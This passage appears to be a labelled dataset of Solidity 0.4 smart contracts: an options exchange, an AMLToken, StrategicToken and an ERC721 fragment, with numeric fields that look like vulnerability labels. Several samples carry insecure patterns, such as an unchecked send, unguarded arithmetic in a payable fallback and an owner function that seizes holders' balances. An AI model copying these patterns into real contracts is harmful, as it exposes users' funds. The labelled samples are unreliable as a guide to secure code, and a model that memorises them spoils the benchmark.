uint256 feeValue = safeMul(_amount, feeByClass[userClass[_sender]]) / (1 ether);
if (
contractLocked
||
((_addressData[0] != address(0x0))
&& (restrictedTokens[_addressData[0]] )
&& ! Compliance(complianceAddress).validateTrade(_addressData[0], _addressData[2], _sender)
)
|| ((_addressData[1] != address(0x0))
&& (restrictedTokens[_addressData[1]])
&& ! Compliance(complianceAddress).validateTrade(_addressData[1], _addressData[2], _sender)
)
|| ((_amount + feeValue) > balances[_addressData[0]][_sender])
|| ((_addressData[3] != address(0x0)) && (_addressData[3] != _sender))
)
{
return 0;
}
uint256 tradeAmount = availableVolume(
_addressData,
_numberData,
_v,
_r,
_s
);
if (tradeAmount > _amount) { tradeAmount = _amount; }
if ((_fillOrKill == true) && (tradeAmount < _amount)) {
return 0;
}
return tradeAmount;
}
function availableVolume(
address[4] _addressData,
uint256[4] _numberData,
uint8 _v,
bytes32 _r,
bytes32 _s
)
public
view
returns(uint256 amountRemaining)
{
bytes32 hash = getHash(_addressData, _numberData);
if (
(block.number > _numberData[2])
|| (
(ecrecover(keccak256(signedTradeHash, hash), _v, _r, _s) != _addressData[2])
&& (! orders[hash])
)
) { return 0; }
amountRemaining = safeSub(_numberData[0], orderFills[hash]);
if (
amountRemaining < safeDiv(
safeMul(balances[_addressData[1]][_addressData[2]], _numberData[0]),
_numberData[1]
)
) return amountRemaining;
return (
safeDiv(
safeMul(balances[_addressData[1]][_addressData[2]], _numberData[0]),
_numberData[1]
)
);
}
function getUserFee(
address _user
)
external
view
returns(uint256)
{
return feeByClass[userClass[_user]];
}
function amountFilled(
address[4] _addressData,
uint256[4] _numberData
)
external
view
returns(uint256)
{
bytes32 hash = getHash(_addressData, _numberData);
return orderFills[hash];
}
function testRemoteWithdraw(
uint256 _withdrawAmount,
uint256 _feeAmount,
uint256 _withdrawExpires,
uint256 _salt,
address _maker,
address _restrictedTo,
uint8 _v,
bytes32 _r,
bytes32 _s,
address _sender
)
external
view
returns(uint256)
{
bytes32 hash = keccak256(
this,
_withdrawAmount,
_feeAmount,
_withdrawExpires,
_salt,
_maker,
_restrictedTo
);
if (
contractLocked
||
(balances[address(0x0)][_maker] < safeAdd(_withdrawAmount, _feeAmount))
||((_restrictedTo != address(0x0)) && (_restrictedTo != _sender))
|| (orderFills[hash] != 0)
|| (ecrecover(keccak256(signedWithdrawHash, hash), _v, _r, _s) != _maker)
|| ((_feeAmount > 0) && (! Compliance(complianceAddress).canDeposit(_sender)))
)
{
return 0;
} else {
return _withdrawAmount;
}
}
function getHash(
address[4] _addressData,
uint256[4] _numberData
)
public
view
returns(bytes32)
{
return(
keccak256(
this,
_addressData[0],
_numberData[0],
_addressData[1],
_numberData[1],
_numberData[2],
_numberData[3],
_addressData[2],
_addressData[3]
)
);
}
function testCanDeposit(
address _user
)
external
view
returns (bool)
{
return(Compliance(complianceAddress).canDeposit(_user));
}
function testCanTrade(
address _token,
address _user
)
external
view
returns (bool)
{
return(Compliance(complianceAddress).canTrade(_token, _user));
}
function testValidateTrade(
address _token,
address _getUser,
address _giveUser
)
external
view
returns (bool isAllowed)
{
return(Compliance(complianceAddress).validateTrade(_token, _getUser, _giveUser));
}
function canDeposit(
address _user
)
public
view
returns (bool isAllowed)
{
return(true);
}
function canTrade(
address _token,
address _user
)
public
view
returns (bool isAllowed)
{
return(false);
}
function validateTrade(
address _token,
address _getUser,
address _giveUser
)
public
view
returns (bool isAllowed)
{
return(false);
}
mapping (address => uint256) public exercisedOptions;
event CollapseOption(
address indexed user,
address indexed holderTicketAddress,
address indexed writerTicketAddress,
uint256 ticketsCollapsed,
bytes32 optionPair
);
event ExcerciseUnwind(
address indexed user,
address indexed holderTicketAddress,
uint256 ticketsUnwound,
bytes32 optionPair,
bool fillOrKill
);
event ExpireOption(
address indexed user,
address indexed writerTicketAddress,
uint256 ticketsExpired,
bytes32 optionPair
);
event CreateOption(
address indexed user,
address indexed holderTicketAddress,
address indexed writerTicketAddress,
uint256 ticketsCreated,
bytes32 optionPair
);
event ExcerciseOption(
address indexed user,
address indexed holderTicketAddress,
uint256 ticketsExcercised,
bytes32 optionPair
);
function createOptionPair(
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires,
uint256 _ticketAmount
)
external
notLocked
returns (uint256 ticketsCreated)
{
require (block.number < _optionExpires);
balances[_assetTokenAddress][0x0] =
safeAdd(
balances[_assetTokenAddress][0x0],
safeDiv(safeMul(_assetTokenAmount, _ticketAmount), 1 ether)
);
balances[_assetTokenAddress][msg.sender] =
safeSub(
balances[_assetTokenAddress][msg.sender],
safeDiv(safeMul(_assetTokenAmount, _ticketAmount), 1 ether)
);
address holderTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
false
);
address writerTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
true
);
balances[writerTicketAddress][msg.sender] =
safeAdd(balances[writerTicketAddress][msg.sender], _ticketAmount);
globalBalance[writerTicketAddress] =
safeAdd(globalBalance[writerTicketAddress], _ticketAmount);
balances[holderTicketAddress][msg.sender] =
safeAdd(balances[holderTicketAddress][msg.sender], _ticketAmount);
globalBalance[holderTicketAddress] =
safeAdd(globalBalance[holderTicketAddress], _ticketAmount);
CreateOption(
msg.sender,
holderTicketAddress,
writerTicketAddress,
_ticketAmount,
(bytes32(_assetTokenAddress) ^ bytes32(_strikeTokenAddress))
);
if (
OptionRegistry(optionsRegistryAddress).isOptionPairRegistered(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires
)
== false
)
{
require(
OptionRegistry(optionsRegistryAddress).registerOptionPair(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires
)
);
}
return _ticketAmount;
}
function collapseOptionPair(
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires,
uint256 _ticketAmount
)
external
returns (uint256 ticketsCollapsed)
{
address holderTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
false
);
address writerTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
true
);
require (
(balances[holderTicketAddress][msg.sender] >= _ticketAmount)
&& (balances[writerTicketAddress][msg.sender] >= _ticketAmount)
);
balances[writerTicketAddress][msg.sender] =
safeSub(balances[writerTicketAddress][msg.sender], _ticketAmount);
globalBalance[writerTicketAddress] =
safeSub(globalBalance[writerTicketAddress], _ticketAmount);
balances[holderTicketAddress][msg.sender] =
safeSub(balances[holderTicketAddress][msg.sender], _ticketAmount);
globalBalance[holderTicketAddress] =
safeSub(globalBalance[holderTicketAddress], _ticketAmount);
balances[_assetTokenAddress][0x0] = safeSub(
balances[_assetTokenAddress][0x0],
safeDiv(safeMul(_assetTokenAmount, _ticketAmount), 1 ether)
);
balances[_assetTokenAddress][msg.sender] = safeAdd(
balances[_assetTokenAddress][msg.sender],
safeDiv(safeMul(_assetTokenAmount, _ticketAmount), 1 ether)
);
CollapseOption(
msg.sender,
holderTicketAddress,
writerTicketAddress,
_ticketAmount,
(bytes32(_assetTokenAddress) ^ bytes32(_strikeTokenAddress))
);
return _ticketAmount;
}
function optionExcerciseUnwind(
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires,
uint256 _ticketAmount,
bool _fillOrKill
)
external
notLocked
returns (uint256 ticketsUnwound)
{
require(block.number <= _optionExpires);
address holderTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
false
);
ticketsUnwound = exercisedOptions[holderTicketAddress];
require((_fillOrKill == false) || (ticketsUnwound >= _ticketAmount));
if (ticketsUnwound > _ticketAmount) ticketsUnwound = _ticketAmount;
require(ticketsUnwound > 0);
require(
(! restrictedTokens[holderTicketAddress])
|| Compliance(complianceAddress).canTrade(holderTicketAddress, msg.sender)
);
balances[_assetTokenAddress][msg.sender] = safeSub(
balances[_assetTokenAddress][msg.sender],
safeDiv(safeMul(_assetTokenAmount, ticketsUnwound), 1 ether)
);
balances[_assetTokenAddress][0x0] = safeAdd(
balances[_assetTokenAddress][0x0],
safeDiv(safeMul(_assetTokenAmount, ticketsUnwound), 1 ether)
);
exercisedOptions[holderTicketAddress] =
safeSub(exercisedOptions[holderTicketAddress], ticketsUnwound);
balances[holderTicketAddress][msg.sender] =
safeAdd(balances[holderTicketAddress][msg.sender], ticketsUnwound);
balances[_strikeTokenAddress][0x0] = safeSub(
balances[_strikeTokenAddress][0x0],
safeDiv(safeMul(_strikeTokenAmount, ticketsUnwound), 1 ether)
);
balances[_strikeTokenAddress][msg.sender] = safeAdd(
balances[_strikeTokenAddress][msg.sender],
safeDiv(safeMul(_strikeTokenAmount, ticketsUnwound), 1 ether)
);
ExcerciseUnwind(
msg.sender,
holderTicketAddress,
ticketsUnwound,
(bytes32(_assetTokenAddress) ^ bytes32(_strikeTokenAddress)),
_fillOrKill
);
return ticketsUnwound;
}
function excerciseOption(
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires,
uint256 _ticketAmount
)
external
returns (uint256 ticketsExcercised)
{
require(block.number <= _optionExpires);
address holderTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
false
);
ticketsExcercised = balances[holderTicketAddress][msg.sender];
require(ticketsExcercised >= _ticketAmount);
if (ticketsExcercised > _ticketAmount) ticketsExcercised = _ticketAmount;
require(ticketsExcercised > 0);
balances[holderTicketAddress][msg.sender] =
safeSub(balances[holderTicketAddress][msg.sender], ticketsExcercised);
exercisedOptions[holderTicketAddress] =
safeAdd(exercisedOptions[holderTicketAddress], ticketsExcercised);
balances[_strikeTokenAddress][msg.sender] = safeSub(
balances[_strikeTokenAddress][msg.sender],
safeDiv(safeMul(_strikeTokenAmount, ticketsExcercised), 1 ether)
);
balances[_strikeTokenAddress][0x0] = safeAdd(
balances[_strikeTokenAddress][0x0],
safeDiv(safeMul(_strikeTokenAmount, ticketsExcercised), 1 ether)
);
balances[_assetTokenAddress][0x0] = safeSub(
balances[_assetTokenAddress][0x0],
safeDiv(safeMul(_assetTokenAmount, ticketsExcercised), 1 ether)
);
balances[_assetTokenAddress][msg.sender] = safeAdd(
balances[_assetTokenAddress][msg.sender],
safeDiv(safeMul(_assetTokenAmount, ticketsExcercised), 1 ether)
);
ExcerciseOption(
msg.sender,
holderTicketAddress,
ticketsExcercised,
(bytes32(_assetTokenAddress) ^ bytes32(_strikeTokenAddress))
);
return ticketsExcercised;
}
function expireOption(
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires,
uint256 _ticketAmount
)
external
returns (uint256 ticketsExpired)
{
require(block.number > _optionExpires);
address holderTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
false
);
address writerTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
true
);
ticketsExpired = balances[writerTicketAddress][msg.sender];
require(ticketsExpired >= _ticketAmount);
if (ticketsExpired > _ticketAmount) ticketsExpired = _ticketAmount;
require(ticketsExpired > 0);
balances[writerTicketAddress][msg.sender] =
safeSub(balances[writerTicketAddress][msg.sender], ticketsExpired);
exercisedOptions[writerTicketAddress] =
safeAdd(exercisedOptions[writerTicketAddress], ticketsExpired);
uint256 strikeTokenAmount =
safeDiv(
safeMul(
safeDiv(safeMul(ticketsExpired, _strikeTokenAmount), 1 ether),
exercisedOptions[holderTicketAddress]
),
globalBalance[holderTicketAddress]
);
uint256 assetTokenAmount =
safeDiv(
safeMul(
safeDiv(safeMul(ticketsExpired, _assetTokenAmount), 1 ether),
safeSub(globalBalance[holderTicketAddress], exercisedOptions[holderTicketAddress])
),
globalBalance[holderTicketAddress]
);
balances[_strikeTokenAddress][0x0] =
safeSub(balances[_strikeTokenAddress][0x0], strikeTokenAmount);
balances[_assetTokenAddress][0x0] =
safeSub(balances[_assetTokenAddress][0x0], assetTokenAmount);
balances[_strikeTokenAddress][msg.sender] =
safeAdd(balances[_strikeTokenAddress][msg.sender], strikeTokenAmount);
balances[_assetTokenAddress][msg.sender] =
safeAdd(balances[_assetTokenAddress][msg.sender], assetTokenAmount);
ExpireOption(
msg.sender,
writerTicketAddress,
ticketsExpired,
(bytes32(_assetTokenAddress) ^ bytes32(_strikeTokenAddress))
);
return ticketsExpired;
}
function getOptionAddress(
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires,
bool _isWriter
)
public
view
returns(address)
{
return(
address(
keccak256(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
_isWriter
)
)
);
}
function testIsOptionPairRegistered(
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires
)
external
view
returns(bool)
{
return(
OptionRegistry(optionsRegistryAddress).isOptionPairRegistered(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires
)
);
}
event RegisterOptionsPair(
bytes32 indexed optionPair,
address indexed writerTicketAddress,
address indexed holderTicketAddress,
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires
);
function registerOptionPair(
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires
)
public
returns(bool)
{
address holderTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
false
);
if (restrictedTokens[holderTicketAddress]) {
return false;
} else {
address writerTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
true
);
restrictedTokens[holderTicketAddress] = true;
restrictedTokens[writerTicketAddress] = true;
RegisterOptionsPair(
(bytes32(_assetTokenAddress) ^ bytes32(_strikeTokenAddress)),
holderTicketAddress,
writerTicketAddress,
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires
);
return(true);
}
}
function isOptionPairRegistered(
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires
)
public
view
returns(bool)
{
address holderTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
false
);
return(restrictedTokens[holderTicketAddress]);
}
function getOptionPair(
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires
)
public
view
returns(address holderTicketAddress, address writerTicketAddress)
{
holderTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
false
);
writerTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
true
);
return(holderTicketAddress, writerTicketAddress);
}
function EOSRegistration (string _key) external onlyOwner{
EOS(0xd0a6E6C54DbC68Db5db3A091B171A77407Ff7ccf).register(_key);
}
} | 0 | 124 |
pragma solidity ^0.4.18;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract StandardTokenExt is StandardToken {
function isToken() public pure returns (bool weAre) {
return true;
}
}
contract BurnableToken is StandardTokenExt {
address public constant BURN_ADDRESS = 0;
event Burned(address burner, uint burnedAmount);
function burn(uint burnAmount) public {
address burner = msg.sender;
balances[burner] = balances[burner].sub(burnAmount);
totalSupply_ = totalSupply_.sub(burnAmount);
Burned(burner, burnAmount);
Transfer(burner, BURN_ADDRESS, burnAmount);
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public pure returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardTokenExt {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) public {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
revert();
}
if (value == 0) revert();
balances[msg.sender] = balances[msg.sender].sub(value);
totalSupply_ = totalSupply_.sub(value);
totalUpgraded = totalUpgraded.add(value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
revert();
}
if (agent == 0x0) revert();
if (msg.sender != upgradeMaster) revert();
if (getUpgradeState() == UpgradeState.Upgrading) revert();
upgradeAgent = UpgradeAgent(agent);
if(!upgradeAgent.isUpgradeAgent()) revert();
if (upgradeAgent.originalSupply() != totalSupply_) revert();
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
if (master == 0x0) revert();
if (msg.sender != upgradeMaster) revert();
upgradeMaster = master;
}
function canUpgrade() public view returns(bool);
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
mapping (address => bool) public lockAddresses;
modifier canTransfer(address _sender) {
if(lockAddresses[_sender]) {
revert();
}
if(!released) {
if(!transferAgents[_sender]) {
revert();
}
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function setLockAddress(address addr, bool state) onlyOwner inReleaseState(false) public {
lockAddresses[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
revert();
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
revert();
}
_;
}
function transfer(address _to, uint _value) public canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
library SafeMathLib {
function times(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract MintableToken is StandardTokenExt, Ownable {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state);
event Minted(address receiver, uint amount);
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply_ = totalSupply_.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
revert();
}
_;
}
modifier canMint() {
if(mintingFinished) revert();
_;
}
}
contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
string public name;
string public symbol;
uint public decimals;
function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable) public
UpgradeableToken(msg.sender) {
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply_ = _initialSupply;
decimals = _decimals;
balances[owner] = totalSupply_;
if(totalSupply_ > 0) {
Minted(owner, totalSupply_);
}
if(!_mintable) {
mintingFinished = true;
if(totalSupply_ == 0) {
revert();
}
}
}
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
function canUpgrade() public constant returns(bool) {
return released;
}
function setTokenInformation(string _name, string _symbol) public onlyOwner {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
}
contract BurnableCrowdsaleToken is BurnableToken, CrowdsaleToken {
function BurnableCrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable) public
CrowdsaleToken(_name, _symbol, _initialSupply, _decimals, _mintable) {
}
}
contract AMLToken is BurnableCrowdsaleToken {
event OwnerReclaim(address fromWhom, uint amount);
function AMLToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable) public BurnableCrowdsaleToken(_name, _symbol, _initialSupply, _decimals, _mintable) {
}
function transferToOwner(address fromWhom) public onlyOwner {
if (released) revert();
uint amount = balanceOf(fromWhom);
balances[fromWhom] = balances[fromWhom].sub(amount);
balances[owner] = balances[owner].add(amount);
Transfer(fromWhom, owner, amount);
OwnerReclaim(fromWhom, amount);
}
} | 1 | 4,701 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0;}
uint256 c = a * b; assert(c / a == b); return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;assert(c >= a);return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20Standard is BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract StrategicToken is ERC20Standard {
string public constant name = "StrategicToken";
string public constant symbol = "STRT";
uint8 public constant decimals = 18;
uint256 public constant maxSupply = 300000000 * (10 ** uint256(decimals));
uint256 public STRTToEth;
uint256 public ethInWei;
address public devWallet;
function StrategicToken () public {
totalSupply = maxSupply;
balances[msg.sender] = maxSupply;
STRTToEth = 100000;
devWallet = msg.sender;
}
function() payable{
ethInWei = ethInWei + msg.value;
uint256 amount = msg.value * STRTToEth;
if (balances[devWallet] < amount) {return;}
balances[devWallet] = balances[devWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(devWallet, msg.sender, amount);
devWallet.send(msg.value);
}
} | 0 | 2,275 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool);
}
contract IERC721 is IERC165 {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function balanceOf(address owner) public view returns (uint256 balance);
